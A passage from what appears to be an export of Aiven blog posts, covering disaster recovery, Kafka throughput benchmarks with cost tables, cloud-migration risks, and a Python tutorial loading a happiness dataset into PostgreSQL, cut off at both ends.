urgently need details, here are some quick tips.\n\nRAID is a real-life array but, instead of containing numbers or strings, each disk is a hard drive containing your critical system data. As storage has become cheaper, using local NVMe drives with your compute instances is a very real option. Depending on your cloud, you can use \"ephemeral\" storage and create a RAID setup or you can leave all of that to be managed by the cloud provider; i.e. using EBS with AWS.\n\nYou can also provide your own keys to encrypt the disks of your bare metal instance, with most cloud providers supporting this through their Command Line Tools or API. Often, they will integrate with the authentication services such as AWS KMS or GCP Cloud KMS.\n\nOf course, this all depends on the operating system you run on your instances and your needs. For some it might be enough to use Networked Storage and backup snapshots to Object Storage regularly.\n### Step 2: Distribute HA plans securely\nWith more than 10 services, we know that High Availability (HA) has one conceptual definition but many, many implementations. Distributed services, like Kafka and Cassandra, have functions for HA baked right into their design whereas more common databases are happy to run as a single instance.\n\nWe support single node instances because we know that HA is less important for development environments. For production environments, our HA plans deploy instances in the region you choose, ensuring that they are spread across Availability Zones (AZ). If you launch Postgres in an HA setup, you will have your primary in one AZ and your standby in another. If you launch a 6 node Kafka cluster then we launch each instance into a different AZ until there are none left for that region, then we will deploy multiple instances to the same AZ. You don't need to worry about this, however, as Kafka is aware of these locations and will assign partitions so that data is spread across AZs as much as possible.\n\nBackups for all of our database services are taken at different intervals and kept at different times, depending on the plan you have selected. Your backups are stored in Object Storage in the same region and can be used to restore your service to a particular point in time (PITR) or to create a fork of your service that is an exact clone of your current service but you can select the region and plan. This is particularly useful when you want to make a fork of your production database for your engineering teams.\n\n![data-and-disaster-recovery-infograph](//cdn.sanity.io/images/sczeoy4w/production/90b84239573ff75b3f785be206f6ba78650efa8f-1567x844.jpg \"Availability Zones (AZ) and regions explained\")\n\n### Step 3: Set up read replicas and mirrored copies \nSome of you may be thinking, \"this is great but not so useful when I am working multi-cloud\". A good point indeed. We have HA plans that are AZ aware, but multi-cloud is a different story. \n\nIn Postgres or [MySQL](https://aiven.io/mysql \"Aiven for MySQL product page\"), add a read replica to your service and deploy that into the cloud (and region) of your choice. \n\nFor Kafka, use the magic of MirrorMaker 2 (and 1), a service that is bundled with Open Source Kafka and allows you to replicate data from one cluster to another. Whether you want to run a one-off migration or if you have some geographically distributed clusters that you need to be in constant sync (either with either or with a large, centralised cluster), MirrorMaker is the optimal solution. \n\nAnd for services that do not have such simple options, Kafka can come to the rescue! Through Kafka Connect, Aiven offers a wealth of open source connectors that can read from and/or push to a number of sources. This can be useful if you would like to move parts of your database into OpenSearch for analytics or to move data between InfluxDB using the HTTP API.\n\n## Further reading\nFor more information on how the Shared Responsibility Model of Cloud Computing needs to be considered in your organization’s disaster recovery planning, please see the [Cloud Security Alliance Security Guidance for Critical Areas of Cloud Computing v4.0](https://cloudsecurityalliance.org/research/guidance/ \"Cloud Security Alliance Security Guidance for Critical Areas of Cloud Computing\") in Domain 6 - Management Plane and Business Continuity section 6.0.1 Business Continuity and Disaster Recovery in the Cloud. \n\nYou can also have a look at what we think about [Data security compliance in the cloud](https://aiven.io/blog/data-security-compliance-in-the-cloud \"Data security compliance in the cloud\").\n\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\"), [Aiven for MySQL](https://aiven.io/mysql \"Aiven for MySQL\") or [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"4oOXmVdOFVtsrwUNsesw8P","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"1nf4L7bvQOLXPjLRjAxmDO","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-fef530e78209c994b7aebdd43abd983352399d25-1567x844-png","_type":"reference"}},"publishedAt":"2021-03-17T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"We don’t like to think about disasters, but sometimes they just happen. Find out how you should prepare your data for the worst, even while hoping for the best.","metaImage":{"alt":"","asset":{"_ref":"image-fef530e78209c994b7aebdd43abd983352399d25-1567x844-png","_type":"reference"}},"metaTitle":"Data and disaster recovery with Aiven | Step-by-step guide"},"slug":{"_type":"slug","current":"/blog/data-and-disaster-recovery"},"subtitle":"We don’t like to think about disasters, but sometimes they just happen. Find out how you should prepare your data for the worst, even while hoping for the best.","title":"Data and disaster recovery"}
{"__i18n_lang":"en","_createdAt":"2022-10-26T11:07:33Z","_id":"17136303-1f30-4626-b124-7c90ddd8f083","_rev":"ejVwHgKe5k9eDWbchuNvCK","_type":"post","_updatedAt":"2024-07-11T11:51:39Z","authors":[{"_key":"ebf0a2c6ccc7","_ref":"60e0ed7c-ff49-40b0-b9ea-67f865ccf364","_type":"reference"}],"body":"Knowledge is power. Once more we measured Apache Kafka® on the Aiven platform so that you can find a plan that fits your application workloads. Our goal is to measure performance of standard Aiven plans and configurations to let you choose the best plan for your workloads.\n\n\u003e Disclaimer: Aiven services are region-dependent and constantly evolving. Running this benchmark in a different region or a different year may produce different results. Please contact Aiven for the most up-to-date information.\n \n## Benchmark setup\n\nWe tested three plans: Business-4, Business-8, and Premium-6x-8, on three cloud providers: AWS (us-east-1), GCP (us-east1), and Azure (eastus2). In all tests we used the default settings (spoiler: no need to tune these plans, write throughput reached the limits of cloud providers).\n\nWe measured **sustainable** write throughput. We kept the benchmarking running for 36-48 hours and measured the mean throughput for the last 24 hours. This way we exclude values that appear in a recently created cluster but cause overloading of brokers in the long run. \n\nWe used a single topic for our write operations with a partition count set to either 3 or 6, depending on the number of brokers. We set the replication factor to be 3. As the test clusters were regular Aiven services, the partitions and replicas were spread out across availability zones.\n\nMessages were produced with the [rdkafka_performance tool](https://github.com/edenhill/librdkafka/blob/master/examples/rdkafka_performance.c), which is based on the C/C++ library librdkafka. Each message had a size of 512 bytes. Each 'produce' request used no compression and was sending batches of 10,000 messages. Client connections were made over TLS and stayed connected for the duration of the tests.\n\nAt the time of testing we used Kafka 3.2 running on Java 17. \n\n## Aiven for Apache Kafka: Business-4 plan \n\nFirst, we tested the performance of the Business-4 plan. The plan has three brokers, each with 1-2 CPU (depending on the cloud) and 4GB RAM per instance. \n\nWe measured metric BytesInPerSec as reported by the brokers. The maximum sustainable bytes in rate from clients is:\n\n- AWS: 37.0 MB/s\n- GCP: 30.5 MB/s\n- Azure: 32.7 MB/s\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/4ef28fee4418d2e67a8f1fbfcc8e7a9be681ef31-2020x1118.png)\n\n\nWe also measured metric MessagesInPerSec. The maximum sustainable messages rate is:\n\n- AWS: 72,200 messages per second\n- GCP: 56,600 messages per second\n- Azure: 63,900 messages per second\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/103b4fb2df77180b0dc14ecc6b4257860718cf06-2016x1114.png)\n\n\n## Aiven for Apache Kafka: Business-8 plan \n\nNext, we moved on to increasing the size of the brokers. We tested Business-8 plans, which have double the amount of CPUs and RAM: 2 CPUs and 8 GB RAM per broker. Again, we measured metric BytesInPerSec as reported by the brokers. The maximum sustainable byte in rate from clients is:\n\n- AWS: 62.7 MB/s\n- GCP: 81.8 MB/s\n- Azure: 81.0 MB/s\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/4fa2b718701c6b5a93ba5c4010c5a3d4f72ff878-2020x1118.png)\n\nWe also measured metric MessagesInPerSec. The maximum sustainable messages rate is:\n\n- AWS: 120,000 messages per second\n- GCP: 156,000 messages per second\n- Azure: 155,000 messages per second\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/4008bd6ce920ba0acd8ad6774726bb334a8622b0-2018x1118.png)\n\n## Aiven for Apache Kafka: Premium-6x-8 plan\n\nFinally, we doubled the number of brokers in the cluster. We increased topic partition count from 3 to 6 to make each broker in the cluster a leader of a partition. We kept replication at 3 because setting it to higher values does not improve durability in regions with 3 availability zones. We measured metric BytesInPerSec as reported by the brokers. The maximum sustainable byte in rate from clients is:\n\n- AWS: 123 MB/s\n- GCP: 147 MB/s\n- Azure: 137 MB/s\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/70f3e97b1b2121946663715628ddc2f6b5314f64-2018x1118.png)\n\n\nWe also measured metric MessagesInPerSec. The maximum sustainable messages rate is:\n\n- AWS: 235000 messages per second\n- GCP: 280000 messages per second\n- Azure: 262000 messages per second\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/41e3357038e7c5a3f7586fe077bf37310879e2e5-2018x1118.png)\n\n## Monthly throughput cost\nIt is worth noting that the throughput cost changes very little when upgrading a plan. When you upgrade a plan, the capacity is increased proportionally to the plan’s pricing. There are no hidden costs in the Aiven plans. \n\nTo see this, let’s calculate cost per MB/s per month across different plans. Below is a table that shows the results for each plan for each cloud. We take the plan’s price and divide it by the maximum sustainable throughput. The throughput increases proportionally with the plan and therefore its cost changes very little.\n\n\n|              \t|                    \t| AWS us-east-1 \t| GCP us-east1 \t| Azure eastus2 \t|\n|--------------\t|--------------------\t|:-------------:\t|:------------:\t|:-------------:\t|\n| Business-4   \t|    throughput MB/s \t|            37 \t|         30.5 \t|          32.7 \t|\n|              \t|       monthly cost \t|       $660.00 \t|      $500.00 \t|       $550.00 \t|\n|              \t| per MB/s per month \t|           $18 \t|          $16 \t|           $17 \t|\n|              \t|                    \t|               \t|              \t|               \t|\n| Business-8   \t|    throughput MB/s \t|          62.7 \t|         81.8 \t|            81 \t|\n|              \t|       monthly cost \t|     $1,300.00 \t|    $1,000.00 \t|     $1,100.00 \t|\n|              \t| per MB/s per month \t|           $21 \t|          $12 \t|           $14 \t|\n|              \t|                    \t|               \t|              \t|               \t|\n| Premium-6x-8 \t|    throughput MB/s \t|           123 \t|          147 \t|           137 \t|\n|              \t|       monthly cost \t|     $2,500.00 \t|    $1,900.00 \t|     $2,100.00 \t|\n|              \t| per MB/s per month \t|           $20 \t|          $13 \t|           $15 \t|\n|              \t|                    \t|               \t|              \t|               \t|\n\n## Wrapping up\n\nIt is well known that cloud providers set limits on disk IOPS. Through our extensive testing we found the maximum sustainable write throughput so that Aiven for Apache Kafka does not hit IOPS limits in any 24 hours.\n\nFor production workloads we recommend to run at 70% of the maximum sustainable write throughput, or even less if your consumers cause Kafka brokers to read from the disks. The remaining capacity will be used for partition reassignments or replication of partitions to new nodes during cluster rebalancing.  \n \n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n## Further reading\n\n- [Apache Kafka®: Confluent vs self-managed vs Aiven](https://aiven.io/blog/confluent-kafka-vs-apache-kafka-vs-aiven)\n\n- [Benchmarking Apache Kafka Performance Part 1: Write Throughput](https://aiven.io/blog/benchmarking-kafka-write-throughput)","categories":[{"_key":"6M8DLtFLBnGLS1UOa20n4K","_ref":"6M8DLtFLBnGLS1UOa20n4K","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-6af976c32674f6c0eb2687db10d416ce966a1cb1-1567x844-png","_type":"reference"}},"publishedAt":"2022-11-10T22:00:00.000Z","related":[{"_key":"3a6effca5a10","_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"}],"seo":{"_type":"metaData","metaImage":{"alt":""}},"slug":{"_type":"slug","current":"/blog/benchmarking-kafka-write-throughput-performance-2022-update"},"subtitle":"We regularly measure the throughput performance of Aiven for Apache Kafka® - check out our latest test results in this post.","title":"Benchmarking Aiven for Apache Kafka® throughput [2022 UPDATE]"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"6OgPe0wSeGI2LFRzkDXfzm","_rev":"sx3m64XnoJyDsAwkmHZS3m","_type":"post","_updatedAt":"2024-07-04T13:51:06Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":" Moving your service into a managed cloud service is perhaps the most important business transformation you’ll ever undertake. \n\nThe __benefits of using a managed data infrastructure__ are clear: \n- Increased cost control\n- Better information security\n- Improved agility\n- Focus on growing your own business\n\nBut if your company is still in on-prem mode, getting to a point where you can enjoy them can seem like a daunting task. Don't worry - you're not alone. Others have made the journey before you.\n\nLike all major undertakings, __digital transformation comes with risks__. Here are four of the most business-critical ones, and some food for thought as to how you can manage them.\n\n### 1. Critical workloads and downtime - during and after transformation\nYour on-prem solution probably isn’t perfect in terms of uptime; few solutions are. It’s likely that you originally went with on-prem because it offered the most control over fault situations and you trusted your staff to handle it. If that’s the case, then it’s no wonder if a managed cloud seems like a downtime risk.\n\nLet’s look at the numbers. When you consider how critical the service you provide is for your customers and partners, how much downtime is an acceptable amount? What is the point at which the number of users starts to go down? Your analytics department will be able to give you an idea of the timeframes you have to work with.\n\nThe relevance of those figures is twofold. Firstly, there may be outages during the initial process of moving to the cloud. You need to figure out how to keep the uptime at tolerable levels during the transformation process, through the migration of data and workloads, the reconfiguration of apps and so on.\n\nSecondly, no cloud service has 100% uptime; even the best providers sometimes have outages. The good news is that it’s no longer your responsibility to fix it. And with that transfer of responsibility comes three magic letters: [SLA](https://aiven.io/sla). When your service uptime doesn’t match expectations, it’s the provider who takes the financial hit. (But don't rely on it too much, because it's your company whose reputation suffers in the eyes of the consumers. Pick your cloud partner carefully.)\n\nNote that an SLA doesn’t mean you should just shove the whole responsibility onto the shoulders of the service provider and then forget about it. You will need to configure your own application so that it uses the provider’s resources in a sensible, sustainable way. \n\nAnd finally, update your disaster recovery plans to reflect the new reality.\n### 2. Contractual and legal risks\nA cloud infrastructure provider offers a more or less standardized service that may include various customizable or purpose-built elements. This standardization is what allows them to achieve economies of scale, and what gives you a predictable, transparent view of your expenditure. This is why cloud contracts are also standardized, and you should study them with this consideration in mind.\n\nWhen examining the service provider contract, take note of the jurisdiction that is specified for conflict resolution. Services are global, but contracts much less so.\n\nCloud storage of data involves an interesting legal conundrum. Data is subject to the local laws of the country where it’s physically stored, but data processors and controllers operate under the laws of the country where they receive the data. There may be inconsistencies in these two legal codes. Whatever your particular case, you should arm yourself with an understanding of the implications. \n\nYou should also remember that since most laws were written in the times before the internet, let alone managed data infrastructure providers, the legal framework is likely to be updated in the coming years.\n### 3. Sensitive data and security in the cloud\nMaintaining data security, confidentiality, AND availability is a tall order, and the related risks are great. How can you control what happens to your data and who has access, if the supply chain passes through public cloud providers?\n\nThe fact is that data breaches happen less frequently in the public cloud than they do in on-prem or private cloud environments. [Public clouds](https://aiven.io/blog/public-v-private-clouds-whats-the-difference) are run by dedicated companies with armies of experts. They have the latest know-how, the latest tools and the best training to keep your data safe, and they sport the [appropriate certifications](https://aiven.io/security-compliance). The risk of human error is minimized. \n\nIf your cloud access is configured appropriately, it’s also safer to share data via the cloud than it is to use a physical medium like a USB stick. \n\nThat being said, the user of a public [cloud database](https://aiven.io/blog/5-best-practices-for-cloud-database-management) service must absolutely keep security in mind when selecting a provider. Here are a few questions you should look for answers to:\n\n- Who generates, holds and distributes the encryption keys? Where does encryption happen? Is data encrypted both at rest and in motion?\n- Is personal data anonymized and encrypted?\n- Can you set access levels freely?\n- Where are the provider’s data centers located? How has the staff been vetted?\n\nAlways ensure that data is being processed and stored in accordance with the law. At the end of the day, the data controller - that’s you! - is accountable and liable for any breach, and also bears the brunt of negative publicity.\n### 4. Keeping control of your own data\nWhen moving from on-prem to a public cloud, you may easily feel like you’re handing over your data to the DBaaS vendor. It’s a natural reaction, and you should definitely listen to your gut with this one. You never want to lose control of your data. \n\nIt’s a sad fact, too, that unless you’re careful, you may find yourself in a lock-in situation. That’s when your data goes into a proprietary system and gets stored in a format where you can’t export it anywhere or even access it if you leave the vendor.\n\nEnsure that you’re always able to move your data and workloads to another provider whenever you want to. The best way to avoid vendor lock-in is to use [open source software](https://aiven.io/open-source) and providers whose systems are compatible with the plainest vanilla open source.\n\n## Wrapping up\nIn this post we've looked at only four of the biggest issues you will run into when planning a migration from on-prem to a managed cloud service. That's not the end of the story - it's only the beginning. The more you dig, the more you'll find that the answers you're figuring out are answers you should perhaps have considered already. \n\nIt all goes towards getting your house in order - even if it means renting a storage locker and fitting some of your in-house mess in there, preferably in an organized way!\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-9cfcf51d46e066421cd0d0515aba7e61ea23fc13-3133x1688-png","_type":"reference"}},"publishedAt":"2022-05-17T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Moving the data infrastructure of your service or app from an on-prem model into a managed cloud service comes with risks. These ones you can't ignore.","metaImage":{"alt":"","asset":{"_ref":"image-9cfcf51d46e066421cd0d0515aba7e61ea23fc13-3133x1688-png","_type":"reference"}},"metaTitle":"Mitigating 4 Key Risks in Cloud Migration"},"slug":{"_type":"slug","current":"/blog/4-key-risks-in-digital-data-transformation"},"subtitle":"Moving the data infrastructure of your service or app from an on-prem model into a managed cloud service comes with risks. These ones you can't ignore.","title":"4 key risks in moving to the cloud (and how to mitigate, manage and master them)"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4P1nyBQOPxGyWUCi5S62Wm","_rev":"ZgPiUE9lJ1tcRKuFnZ6Myf","_type":"post","_updatedAt":"2024-07-11T07:52:55Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"Creating information is just like any creative process. It starts with finding the materials (in this case, datasources) and continues with cleaning, joining and wrangling datasets. By the time you're finished you've built something beautiful and gained new insights to share - and then you start all over again.\n\nOne of the most widely-used languages in the creation of information is Python, loved by data scientists, engineers and analysts alike for its great ecosystem of existing libraries for data wrangling.\n\nThis blog post explores three such libraries: `pandas`, `ddlgenerator` and `psycopg2`. These each enable us to clean a dataset and push it to a PostgreSQL database where the data can later be queried and exposed to a huge variety of company figures.\n\nToday, the objective is simple: we will explore a happiness dataset and try to find out where in the world we should move to have joyful life!\n\nHere's the high-level process:\n\n0. [Get the dataset](#0-get-the-dataset)\n1. [Clean the data](#1-clean-the-data)\n2. [Create a PostgreSQL instance](#2-create-a-postgresql-instance)\n3. [Push the data to PostgreSQL](#3-push-the-data-to-postgresql)\n4. [Query the Data in PostgreSQL](#4-query-the-data-in-postgresql)\n\n## 0. Get the dataset\nAs mentioned before, begin by finding a dataset. [Kaggle](https://www.kaggle.com) is a website widely used in the data science community, providing datasets used for challenges, competitions or learning. They have a nice dataset about [World Happiness](https://www.kaggle.com/unsdsn/world-happiness) which only requires a login to be downloaded. It contains 5 CSV files, one per year, listing the happiness ranking of various countries together with some other indicators.\n\nLet's create a folder named `happiness` and a subfolder named `data` for storing the files:\n\n```\nmkdir -p happiness/data\ncd happiness\n```\n\nNext, download the data from [Kaggle](https://www.kaggle.com/unsdsn/world-happiness) and place the 5 CSVs in the `happiness/data` folder.\n\n## 1. Clean the data\n\nAs happens frequently, source datasets are not always tidy and clean. This is also true for our happiness dataset. When browsing the files we can see that `2015.csv` and `2016.csv` share the same format of column names and data. But the `2017.csv` has the `Region` column missing, some others named and ordered differently (`Generosity` and `Trust` are swapped). The same applies to the files `2018.csv` and `2019.csv` where we can't find the confidence intervals anymore. Moreover, the year is only contained in the file name, and not in a column.\n\nBefore starting our cleaning efforts, it's good practice to create a separate [virtual environment](https://docs.python.org/3/tutorial/venv.html) every time we start a new Python project. This ensures our default Python environment is not overloaded with possibly conflicting libraries. We can create a virtual environment and enable it like this:\n\n```\npython -m venv python_pg\nsource python_pg/bin/activate\n```\n\nThe files need some work in order to produce a consistent view of the data, so let's put on our Python superhero mask. Start by installing the [pandas](https://pandas.pydata.org/) library, which will help us with data manipulation and analysis, by executing the following code in your terminal:\n\n```bash\npip install pandas\n```\n\nNow we can create a file named `prepare.py` in our `happiness` folder and start including some Python code in it. We'll start by importing the library installed earlier, together with [`os`](https://docs.python.org/3/library/os.html) and [`glob`](https://docs.python.org/3/library/glob.html) which should be installed by default and enable the interaction with the operative system and pathname pattern expansion respectively.\n\n```python\nimport pandas as pd\nimport glob, os\n```\n\nNext, define the column names that we're going to use in our target DataFrame named `all_years_df` to store the dataset once cleaned. Add the following lines to the `prepare.py` file:\n\n```python\ncolumn_names = ['survey_yr', 'country', 'overall_rank',\n                'score', 'gdp', 'generosity', 'freedom',\n                'social_support', 'life_exp', 'gov_trust']\n\nall_years_df = pd.DataFrame()\n```\n\nNow it's time to bring order to chaos and parse all the CSV files in the `data` folder. Add the following code to the `prepare.py` file:\n\n```python\nfiles = glob.glob('data/*.csv')\n\nfor fp in files:\n    # Handling file names as new column\n    file_year = os.path.basename(fp).split('.')[0]\n    file_content = pd.read_csv(fp).assign(Year=int(file_year)-2000)\n\n    # Picking the right column for each file based on the year\n    uniformed_columns = find_columns(file_content, file_year)\n\n    # Conforming column names and appending the parsed year data to all_years_df\n    uniformed_columns.columns = column_names\n    all_years_df = pd.concat([all_years_df, uniformed_columns])\n\nall_years_df.to_csv('results.csv', index=False)\n```\n\nThe `glob` function returns the list of files in the `happiness/data` folder, that we loop over. For each file, we read the filename with `os.path.basename`, split the name on the dot (`.`) and take the first part, extracting only the year information. The `file_content` line uses pandas' `read_csv` function to load the file data and populates the new column `Year` (using the `assign` function) with the last two digits of the year (`int(file_year)-2000`).\n\nNext we call the `find_columns` function, which we'll define soon, to select the correct columns from the source file depending on the year.\n\nAfter that, we consolidate the column names in the `uniformed_columns` DataFrame containing only one year of data, and then append it to the `all_years_df` DataFrame that will contain the whole dataset at the end of the process. Lastly we store the end result in a CSV file named `results.csv` in the `happiness` folder.\n\n### Picking the correct columns\nThe missing part is the `find_columns` function definition where we consolidate the column names and order. As mentioned above, depending on the year, we need to select the correct columns from the source file. Add the following code to the `prepare.py` file, just after the `import` statements, to perform the trick on various years:\n\n```python\ndef find_columns(file_content, file_year):\n    if file_year in ['2015', '2016']:\n        uniformed_columns = file_content[[\n            'Year', 'Country', 'Happiness Rank', 'Happiness Score',\n            'Economy (GDP per Capita)', 'Generosity', 'Freedom', 'Family',\n            'Health (Life Expectancy)', 'Trust (Government Corruption)'\n            ]]\n\n    elif file_year in ['2017']:\n        uniformed_columns = file_content[[\n            'Year', 'Country', 'Happiness.Rank', 'Happiness.Score',\n            'Economy..GDP.per.Capita.', 'Generosity', 'Freedom', 'Family',\n            'Health..Life.Expectancy.', 'Trust..Government.Corruption.'\n            ]]\n\n    else:\n        uniformed_columns = file_content[[\n            'Year', 'Country or region', 'Overall rank', 'Score',\n            'GDP per capita', 'Generosity', 'Freedom to make life choices',\n            'Social support', 'Healthy life expectancy',\n            'Perceptions of corruption'\n            ]]\n\n    return uniformed_columns\n```\n\nThe function picks the correct column for each year and returns the resulting DataFrame.\n\nIt's now time to check that the pipeline is working. With the terminal positioned on the `happiness` folder let's execute the following:\n\n```bash\npython prepare.py\n```\n\nNow check the file `results.csv` in the `happiness` folder to verify that the code worked. The results should look like this:\n\n![all data](//cdn.sanity.io/images/sczeoy4w/production/0758e59004e5028e7e9f69f7b3ecfe010a66ed78-962x213.png)\n\n## 2. Create a PostgreSQL instance\nThe second step is to store our data in a [PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") table. But before storing it, we'll need a PG Database; let's create one with [Aiven CLI](https://aiven.io/blog/command-line-magic-with-the-aiven-cli) in our terminal\n\n```bash\navn service create demo-pg    \\\n  -t pg                       \\\n  --cloud google-europe-west3 \\\n  -p hobbyist\n```\n\nThe above command creates a PostgreSQL instance named `demo-pg` on `google-europe-west3` using a `hobbyist` plan. You can review all PostgreSQL plans [on our pricing page](https://aiven.io/pricing). To connect to it, we'll need the `service uri` containing information like `host`, `port`, and the default `avnadmin` user's `password`. We can retrieve it with:\n\n```bash\navn service get demo-pg --format '{service_uri}'\n```\n\nNow we have a couple of minutes to relax while we wait for the instance to be ready after the following call in the terminal\n\n```bash\navn service wait demo-pg\n```\n\n## 3. Push the data to PostgreSQL\nOnce the service is running, go back to Python and prepare the data push.\n\nWe'll use the [ddlgenerator](https://github.com/catherinedevlin/ddl-generator) library to automatically generate the SQL statement to create the PostgreSQL table, and [psycopg2](https://www.psycopg.org/) to interact with the database. We can install both with the following line in the terminal:\n\n```bash\npip install psycopg2 ddlgenerator\n```\n\nNow create a new `push.py` file, add the import, and connect to the database statements. Replace the `\u003cSERVICE_URI_OUTPUT\u003e` parameter in the following code with the output of the `avn service get` command above:\n\n```python\nimport psycopg2\n\nconn = psycopg2.connect('\u003cSERVICE_URI_OUTPUT\u003e')\n```\n\nThe connection is established. We can now create the table and push the data. `ddlgenerator` provides a nice functionality to create both table DDLs and insert statements from a CSV file. We can append the following code to the `push.py` file:\n\n```python\nfrom ddlgenerator.ddlgenerator import Table\n\ntable = Table('results.csv', table_name='HAPPINESS')\nsql = table.sql('postgresql', inserts=True)\n```\n\nAfter importing the `Table` class from `ddlgenerator`, the code creates an instance parsing the `results.csv` file, with a target table name of `HAPPINESS`. The last line creates the `CREATE` table definition SQL for PostgreSQL, including the insert statements for each line (`inserts=True`). If we print the SQL statement it should look something like the following:\n\n```sql\nDROP TABLE IF EXISTS happiness;\n\nCREATE TABLE happiness (\n\tsurvey_yr INTEGER NOT NULL,\n\tcountry VARCHAR(24) NOT NULL,\n\toverall_rank INTEGER NOT NULL,\n\tscore DECIMAL(15, 14) NOT NULL,\n\tgdp DECIMAL(17, 16) NOT NULL,\n\tgenerosity DECIMAL(16, 16) NOT NULL,\n\tfreedom DECIMAL(16, 16) NOT NULL,\n\tsocial_support DECIMAL(16, 15) NOT NULL,\n\tlife_exp DECIMAL(17, 16) NOT NULL,\n\tgov_trust DECIMAL(16, 16)\n);\n\nINSERT INTO happiness (survey_yr, country, overall_rank, score, gdp, generosity, freedom, social_support, life_exp, gov_trust) VALUES (19, 'Finland', 1, 7.769, 1.34, 0.153, 0.596, 1.587, 0.986, 0.393);\nINSERT INTO happiness (survey_yr, country, overall_rank, score, gdp, generosity, freedom, social_support, life_exp, gov_trust) VALUES (19, 'Denmark', 2, 7.6, 1.383, 0.252, 0.592, 1.573, 0.996, 0.41);\n...\n```\n\nWe can now execute the sql statement against the database by adding the following code to the `push.py` file\n\n```python\ncur = conn.cursor()\ncur.execute(sql)\nconn.commit()\ncur.close()\nconn.close()\n```\n\nWe created a cursor, executed the sql statement, committed the change to the database and closed both cursor and connection. It's now time to run the code. With the same terminal on the `happiness` folder, run the following:\n\n```bash\npython push.py\n```\n\nCongrats, the data is now loaded in PostgreSQL.\n\n## 4. Query the data in PostgreSQL\nLet's verify that the data is correctly populated in the PostgreSQL `happiness` table. Create a new Python file `query.py` with the following content (as before, edit the connection `service uri`):\n\n```python\nimport psycopg2\n\nconn = psycopg2.connect('\u003cSERVICE_URI_OUTPUT\u003e')\n\ncur = conn.cursor()\ncur.execute('''\nSELECT SURVEY_YR, COUNTRY, OVERALL_RANK\nfrom HAPPINESS\nWHERE OVERALL_RANK \u003c= 3\nORDER BY SURVEY_YR, OVERALL_RANK\n''')\n\nprint(cur.fetchall())\ncur.close()\nconn.close()\n```\n\nAs per the `push.py` file, we are creating a connection to PostgreSQL, then executing a query to check which countries were in the top three positions over the various years. The result should be similar to:\n\n```data\n[\n(15, 'Switzerland', 1),   (15, 'Iceland', 2),       (15, 'Denmark', 3),\n(16, 'Denmark', 1),       (16, 'Switzerland', 2),   (16, 'Iceland', 3),\n(17, 'Norway', 1),        (17, 'Denmark', 2),       (17, 'Iceland', 3),\n(18, 'Finland', 1),       (18, 'Norway', 2),        (18, 'Denmark', 3),\n(19, 'Finland', 1),       (19, 'Denmark', 2),       (19, 'Norway', 3)\n]\n```\n\nIt looks like Northern European countries are a great place to live! Take particular notice of how Aiven's home country, `Finland`, has been at the top of the table in the last two years.\n\nThe data, now available in a PostgreSQL relational table, can be queried and exposed by all major analytics and reporting tools, making it accessible to a wider audience.\n## Wrapping up\nFinding the right dataset is just the beginning: cleaning, wrangling and publishing the data creates information to help people in their decision-making. Python is a great fit in this area and widely adopted in the data community. The `pandas`, `ddlgenerator` and `psycopg2` libraries mentioned in the blog enable an easy data handling and push to PostgreSQL. This makes 